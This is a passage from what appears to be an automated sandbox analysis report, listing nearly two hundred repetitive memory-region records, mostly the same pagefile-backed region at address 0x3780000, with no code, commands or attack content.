= "" Region: id = 557 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 558 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 559 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 560 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 561 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 562 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 563 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 564 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 565 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 566 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 567 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 568 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 569 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 570 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 571 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 572 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 573 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 574 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 575 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 576 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 577 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 578 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 579 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 580 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 581 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 582 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 583 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 584 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 585 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 586 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 587 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 588 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 589 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 590 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 591 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 592 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 593 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 594 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 595 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 596 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 597 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 598 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 599 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 600 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 601 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 602 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 603 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 604 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 605 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 606 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 607 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 608 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 609 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 610 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 611 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 612 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 613 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 614 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 615 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 616 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 617 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 618 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 619 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 620 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 621 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 622 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 623 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 624 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 625 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 626 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 627 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 628 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 629 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 630 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 631 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 632 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 633 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 634 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 635 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 636 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 637 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 638 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 639 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 640 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 641 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 642 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 643 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 644 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 645 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 646 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 647 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 648 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 649 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 650 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 651 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 652 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 653 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 654 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 655 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 656 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 657 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 658 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 659 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 660 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 661 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 662 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 663 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 664 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 665 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 666 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 667 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 668 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 669 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 670 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 671 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 672 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 673 start_va = 0x3890000 end_va = 0x38affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 674 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 675 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 676 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 677 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 678 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 679 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 680 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 681 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 682 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 683 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 684 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 685 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 686 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 687 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 688 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 689 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 690 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 691 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 692 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 693 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 694 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 695 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 696 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 697 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 698 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 699 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 700 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 701 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 702 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 703 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 704 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 705 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 706 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 707 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 708 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 709 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 710 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 711 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 712 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 713 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 714 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 715 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 716 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 717 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 718 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 719 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 720 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 721 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 722 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 723 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 724 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 725 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 726 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 727 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 728 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 729 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 730 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 731 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 732 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 733 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 734 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 735 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 736 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 737 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 738 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 739 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 740 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 741 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 742 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 743 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003780000" filename = "" Region: id = 744 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = 